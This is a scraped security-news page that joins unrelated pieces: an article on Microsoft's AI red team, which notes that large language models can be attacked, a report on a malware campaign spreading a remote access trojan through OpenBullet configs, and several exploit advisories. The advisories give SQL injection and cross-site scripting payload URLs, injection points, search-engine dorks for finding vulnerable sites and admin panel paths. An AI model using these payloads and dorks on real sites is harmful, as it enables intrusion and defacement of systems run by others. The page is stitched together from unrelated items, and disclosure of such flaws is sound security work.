Since 2018, a dedicated team within Microsoft has attacked machine learning systems to make them safer. But with the public release of new generative AI tools, the field is already evolving.

For most people, the idea of using artificial intelligence tools in daily life—or even just messing around with them—has only become mainstream in recent months, with new releases of generative AI tools from a slew of big tech companies and startups, like OpenAI's ChatGPT and Google's Bard. But behind the scenes, the technology has been proliferating for years, along with questions about how best to evaluate and secure these new AI systems. On Monday, Microsoft is revealing details about the team within the company that since 2018 has been tasked with figuring out how to attack AI platforms to reveal their weaknesses.

In the five years since its formation, Microsoft's AI red team has grown from what was essentially an experiment into a full interdisciplinary team of machine learning experts, cybersecurity researchers, and even social engineers. The group works to communicate its findings within Microsoft and across the tech industry using the traditional parlance of digital security, so the ideas will be accessible rather than requiring specialized AI knowledge that many people and organizations don't yet have. But in truth, the team has concluded that AI security has important conceptual differences from traditional digital defense, which require differences in how the AI red team approaches its work.

“When we started, the question was, ‘What are you fundamentally going to do that’s different? Why do we need an AI red team?’” says Ram Shankar Siva Kumar, the founder of Microsoft's AI red team. “But if you look at AI red teaming as only traditional red teaming, and if you take only the security mindset, that may not be sufficient. We now have to recognize the responsible AI aspect, which is accountability of AI system failures—so generating offensive content, generating ungrounded content. That is the holy grail of AI red teaming. Not just looking at failures of security but also responsible AI failures.”

Shankar Siva Kumar says it took time to bring out this distinction and make the case that the AI red team's mission would really have this dual focus. A lot of the early work related to releasing more traditional security tools like the 2020 Adversarial Machine Learning Threat Matrix, a collaboration between Microsoft, the nonprofit R&D group MITRE, and other researchers. That year, the group also released open source automation tools for AI security testing, known as Microsoft Counterfit. And in 2021, the red team published an additional AI security risk assessment framework.

Over time, though, the AI red team has been able to evolve and expand as the urgency of addressing machine learning flaws and failures becomes more apparent. 

In one early operation, the red team assessed a Microsoft cloud deployment service that had a machine learning component. The team devised a way to launch a denial of service attack on other users of the cloud service by exploiting a flaw that allowed them to craft malicious requests to abuse the machine learning components and strategically create virtual machines, the emulated computer systems used in the cloud. By carefully placing virtual machines in key positions, the red team could launch “noisy neighbor” attacks on other cloud users, where the activity of one customer negatively impacts the performance for another customer.

The red team ultimately built and attacked an offline version of the system to prove that the vulnerabilities existed, rather than risk impacting actual Microsoft customers. But Shankar Siva Kumar says that these findings in the early years removed any doubts or questions about the utility of an AI red team. “That’s where the penny dropped for people,” he says. “They were like, ‘Holy crap, if people can do this, that’s not good for the business.’”

Crucially, the dynamic and multifaceted nature of AI systems means that Microsoft isn't just seeing the most highly resourced attackers targeting AI platforms. “Some of the novel attacks we’re seeing on large language models—it really just takes a teenager with a potty mouth, a casual user with a browser, and we don’t want to discount that,” Shankar Siva Kumar says. “There are APTs, but we also acknowledge that new breed of folks who are able to bring down LLMs and emulate them as well.”

As with any red team, though, Microsoft's AI red team isn't just researching attacks that are being used in the wild right now. Shankar Siva Kumar says that the group is focused on anticipating where attack trends may go next. And that often involves an emphasis on the newer AI accountability piece of the red team's mission. When the group finds a traditional vulnerability in an application or software system, they often collaborate with other groups within Microsoft to get it fixed rather than take the time to fully develop and propose a fix on their own. 

“There are other red teams within Microsoft and other Windows infrastructure experts or whatever we need,” Shankar Siva Kumar says. “The insight for me is that AI red teaming now encompasses not just security failures, but responsible AI failures.”

Microsoft’s AI Red Team Has Already Made the Case for Itself

A new malware campaign has been observed making use of malicious OpenBullet configuration files to target inexperienced cyber criminals with the goal of delivering a remote access trojan (RAT) capable of stealing sensitive information.
Bot mitigation company Kasada said the activity is designed to "exploit trusted criminal networks," describing it as an instance of advanced threat actors "

A new malware campaign has been observed making use of malicious OpenBullet configuration files to target inexperienced cyber criminals with the goal of delivering a remote access trojan (RAT) capable of stealing sensitive information.

Bot mitigation company Kasada said the activity is designed to "exploit trusted criminal networks," describing it as an instance of advanced threat actors "preying on beginner hackers."

OpenBullet is a legitimate open-source pen testing tool used for automating credential stuffing attacks. It takes in a configuration file that's tailored to a specific website and can combine it with a password list procured through other means to log successful attempts.

"OpenBullet can be used with Puppeteer, which is a headless browser that can be used for automating web interactions," the company said. "This makes it very easy to launch credential stuffing attacks without having to deal with browser windows popping up."

The configurations, essentially a piece of executable code to generate HTTP requests against the target website or web application, are also traded, or sold within criminal communities, lowering the bar for criminal activity and enabling script kiddies to mount their own attacks.

"The interest in the purchase of configs, for example, could indicate that the users of OpenBullet are relatively unsophisticated," Israeli cybersecurity company Cybersixgill noted back in September 2021.

"But it could also be yet another example of the dark web's highly efficient division of labor. That is, threat actors advertise that they want to buy configs because they don't know how to script them, but because it's easier and faster."

This flexibility can also be a double-edged sword, as it opens up a new vector, only it targets other criminal actors who are actively seeking such configuration files on hacking forums.

The campaign discovered by Kasada employs malicious configs shared on a Telegram channel to reach out to a GitHub repository to retrieve a Rust-based dropper called Ocean that's designed to fetch the next-stage payload from the same repository.

The executable, a Python-based malware referred to as Patent, ultimately launches a remote access trojan that utilizes Telegram as a command-and-control (C2) mechanism and issues instructions to capture screenshots, list directory contents, terminate tasks, exfiltrate crypto wallet information, and steal passwords and cookies from Chromium-based web browsers.

Targeted browsers and crypto wallets include Brave, Google Chrome, Microsoft Edge, Opera, Opera GX, Opera Crypto, Yandex Browser, Atomic, Dash Core, Electron Cash, Electrum, Electrum-LTC, Ethereum Wallet, Exodus, Jaxx Liberty, Litecoin Wallet, and Mincoin.

The trojan also functions as a clipper to monitor the clipboard for cryptocurrency wallet addresses and substitute contents matching a predefined regular expression with an actor-controlled address, leading to unauthorized fund transfers.

Two of the Bitcoin wallet addresses operated by the adversary have received a total of $1,703.15 over the past two months, which were subsequently laundered using an anonymous crypto exchange known as Fixed Float.

"The distribution of the malicious OpenBullet configs within Telegram is a novel infection vector, likely targeting these criminal communities due to their frequent use of cryptocurrencies," the researchers said.

"This presents an opportunity for attackers to shape their collection to a specific target group and obtain other members' funds, accounts, or access. As the old saying goes, there is no honor amongst thieves."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New Malware Campaign Targets Inexperienced Cyber Criminals with OpenBullet Configs

Adlisting Classified Ads version 2.14.0 suffers from an information leakage vulnerability.

    # Exploit Title: Adlisting Classified Ads 2.14.0 - WebPage Content Information Disclosure# Exploit Author: CraCkEr# Date: 25/07/2023# Vendor: Templatecookie# Vendor Homepage: https://templatecookie.com/# Software Link: https://templatecookie.com/demo/adlisting-classified-ads-script# Tested on: Windows 10 Pro# Impact: Sensitive Information Leakage# CVE: CVE-2023-4168## DescriptionInformation disclosure issue in the redirect responses, When accessing any page on the website,Sensitive data, such as API keys, server keys, and app IDs, is being exposed in the body of these redirects.## Steps to Reproduce:When you visit any page on the website, like:https://website/ad-list?category=electronicshttps://website/ad-list-search?page=2https://website/ad-list-search?keyword=&lat=&long=&long=&lat=&location=&category=&keyword=in the body page response there's information leakage for +---------------------+google_map_keyapi_keyauth_domainproject_idstorage_bucketmessaging_sender_idapp_idmeasurement_id+---------------------+Note: The same information leaked, such as the API keys, server keys, and app ID, was added to the "Firebase Push Notification Configuration" in the Administration Panel.Settings of "Firebase Push Notification Configuration" in the Administration Panel, on this Path:https://website/push-notification (Login as Administrator)[-] Done

Adlisting Classified Ads 2.14.0 Information Disclosure

Datalife Engine version 10 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Datalife Engine v10 (ir) SQl injection Vulnerability                                                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://datalifeengine.ir/                                                                                          || # Dork      : Powered by DataLife Engine © 2013                                                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use Pyaload : /index.php?newsid=100 (inject her)[+] cpanl : http://127.0.0.1/datalifeengine/admin.php Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Datalife Engine 10 SQL Injection

Database Compilation CMS version 1.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Database compilation CMS v1.2 XSS Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0.2(32-bit)                                             | | # Vendor    : http://mcastel.weebly.com/                                                                                         |  | # Dork      : "Database compilation by Marco Castellani( INAF - Astronomical Observatory of Rome)"                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /table1a.php?sel=<script>alert(/indoushka/);</script>[+] http://127.0.0.1/table1a.php?sel=%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Database Compilation 1.2 Cross Site Scripting

Cyber Infinite CMS version 1.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Cyber Infinite cms v1.0 SQL Injection Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 70.0.1(32-bit)                                             | | # Vendor    : http://citsite.com/                                                                                                |  | # Dork      : "Designed & Developed by: Cyber Infinite Technologies"                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] /view-member-detail.php?id=815 <====| inject here[+] /citcp/login.php <====| LoginGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Cyber Infinite CMS 1.0 SQL Injection

Cvanav-DAW CMS version 0.1 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Cvanav-DAW CMS v0.1 XSS Vulnerability                                                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://vanavi.com                                                                                                 |  | # Dork      : intext:''Created by Vanavi.com'' site:cz                                                                           |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : /epodatelna.php?button=Odeslat&adresa=1&dic=1&dotaz=1&email=sample%40email.tst&ic=1&jmeno=1&kod=1&telefon=555-666-0606'"()%26%25<acx><marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  http://127.0.0.1/intranethygprahacz/epodatelna.php?button=Odeslat&adresa=1&dic=1&dotaz=1&email=sample%40email.tst&ic=1&jmeno=1&kod=1&telefon=555-666-0606%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Cvanav-DAW CMS 0.1 Cross Site Scripting

CSC-CMS version 1.0.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : CSC-CMS v1.0.0 Sql Injection Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 68.0(32-bit)                                               || # Vendor    : http://creativesales.hu/                                                                                           |  | # Dork      : A honlapot a Creative Sales Consulting készítette.                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Panel : http://127.0.0.1/kkvpalyazathu/admin/[+] http://127.0.0.1/kkvpalyazathu/hirolvaso.php?id=7 <====| inject hereGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

CSC-CMS 1.0.0 SQL Injection

CMS Genetics Centre version 4.0.1 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : CMS Genetics Centre v 4.0.1 Sql injection Vulnerability                                                            || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : https://nanobirdtech.com/                                                                                          |  | # Dork      : by Nanobird Technologies                                                                                           |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  http://127.0.0.1/www/omanadvancedfertilitycom/en/news-detail.php?id=2 <======| inject here[+]  Panel : http://127.0.0.1/www/omanadvancedfertility/com/admin/Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |=======================================================================================================================================

CMS Genetics Centre 4.0.1 SQL Injection

CMS BMGI International version 4.0 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : CMS BMGI International v 4.0 XSS Vulnerability                                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit)                                             || # Vendor    : https://batel.net/                                                                                                 |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] use payload : /_Admin_root/authentification.php?lang=%3Cscript%3Ealert(/indoushka/);%3C/script%3E&pw=1&user=yymfqisv[+] http://127.0.0.1/inspa-dzorg/_Admin_root/authentification.php?lang=%3Cscript%3Ealert(/indoushka/);%3C/script%3E&pw=1&user=yymfqisvGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Tag

#google